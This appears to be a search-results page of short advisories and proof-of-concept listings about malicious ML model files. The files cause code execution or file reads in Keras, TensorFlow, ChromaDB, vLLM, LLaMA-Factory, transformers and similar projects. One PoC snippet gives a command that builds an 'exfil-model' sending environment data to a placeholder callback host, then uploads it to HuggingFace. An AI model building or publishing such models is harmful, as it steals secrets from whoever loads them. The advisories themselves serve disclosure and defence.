147 matches found
CVE-2024-3660-PoC
CVE-2024-3660 – 악성 모델을 통한 TensorFlow Keras 임의 코드 실행 개요 CVE-2024-3660 은 TensorFlow의 Keras 프레임워크에서 2.13 미만 버전에 영향을 주는 임의 코드 실행 취약점입니다. 공격자는 Lambda 레이어 등을 통해 모델 내부에 Python 코드를 삽입할 수 있으며, 이 코드는 모델이 로드될 때 자동으로 실행됩니다. 악성 .h5 모델 파일이 취약한 환경에서 로드되면, 로드 프로세스와 동일한 권한으로 임의 명령이 실행됩니다. 영향을 받는 버전 TensorFlow의...
ExploitTensorflowCVE-2021-37678
CVE-2021-37678 Эксплойт Для эксплуатации уязвимости необходимо поднять Docker-контейнер с подготовленной средой для запуска Tensorflow версии 2.2.3, которая всё ещё содержит уязвимость. Состоит из: Архитектура AMD 64 бит, CPU или GPU, способный выполнять инструкции AVX, Python 64 бит версии 3.6.9...
CVE-2026-79721
Code execution can occur in versions of the MLflow platform running version 0.0.1 or newer, enabling a maliciously crafted model artifact to execute arbitrary code on an end user's system when loaded by the project...
Project-CVE-2026-45833
Project-CVE-2026-45833 CVE-2026-45833 ChromaDB 사용에 따른 위험은 본인이 감수하세요 일부 코드는 수정이 필요합니다. 1. 악성 모델 생성 python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' " 2. HuggingFace에 업로드 수동...
CVE-2026-70639
A flaw was found in llama.cpp. A null pointer dereference vulnerability exists in the LLaMA-Android JNI wrapper. This flaw allows an attacker to provide a malicious or corrupt model file, which causes the bench1model function to attempt to use an invalid memory address. This leads to a crash of t...
CVE-2026-50144
ncnn (mobile-optimized neural network framework) contains an out-of-bounds heap write in ParamDict::load_param() when loading a malicious .param model, caused by a negative parameter id indexing before params[NCNN_MAX_PARAM_COUNT]. This is exploitable via Net::load_param() and is fixed by commit ...
CVE-2026-12480
A flaw was found in Keras. An attacker can craft a malicious model archive or weights file containing a Virtual Dataset VDS that references external files on a victim's system. When a user loads this malicious model, the external file is transparently read. This vulnerability leads to information...
CVE-2026-58116
LLaMA-Factory through 0.9.5 contains a remote code execution vulnerability that allows attackers with WebUI access to execute arbitrary Python code by supplying a malicious model path in the Chat or Training interfaces. The application passes user-supplied model path input unvalidated into...
CVE-2026-58116
CVE-2026-58116 affects LLaMA-Factory up to version 0.9.5. A remote code execution vulnerability exists when a malicious model path is supplied via WebUI Chat/Training interfaces; unvalidated input is passed to AutoTokenizer.from_pretrained() and AutoModel.from_pretrained() with trust_remote_code=...
CVE-2026-58116 LLaMA-Factory 0.9.5 Remote Code Execution via WebUI Model Path
LLaMA-Factory through 0.9.5 contains a remote code execution vulnerability that allows attackers with WebUI access to execute arbitrary Python code by supplying a malicious model path in the Chat or Training interfaces. The application passes user-supplied model path input unvalidated into...
ChromaDB Python project has a pre-authentication code injection vulnerability
A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...
PYSEC-2026-514 Rasa Allows Remote Code Execution via Remote Model Loading
Vulnerability A vulnerability has been identified in Rasa Pro and Rasa Open Source that enables an attacker who has the ability to load a maliciously crafted model remotely into a Rasa instance to achieve Remote Code Execution. The prerequisites for this are: - The HTTP API must be enabled on the...
CVE-2026-41523
vLLM is an inference and serving engine for large language models LLMs. Prior to 0.22.0, an assert-based security check in vLLM's activation function loading allows any unauthenticated attacker to achieve arbitrary code execution on the server by publishing a malicious HuggingFace model, when vLL...
CVE-2026-41523
vLLM prior to 0.22.0 is affected by an assert-based security check in the activation function loading that can permit arbitrary code execution when a malicious HuggingFace model is loaded and vLLM runs in Python optimized mode. The attacker-controlled inputs are the activation function names from...
Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders
Summary Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load..., weightsonly=True, but automatically falls back to the fully unsafe torch.load..., weightsonly=False when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully...
CVE-2026-45833
A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...
CVE-2026-45833
A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...
EUVD-2026-36484
A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...
CVE-2026-5241
A flaw was found in python-transformers. An attacker can exploit this vulnerability by providing a malicious model repository. During model initialization, the trustremotecode parameter, intended to prevent remote code execution, is overridden by untrusted configuration data. This allows the...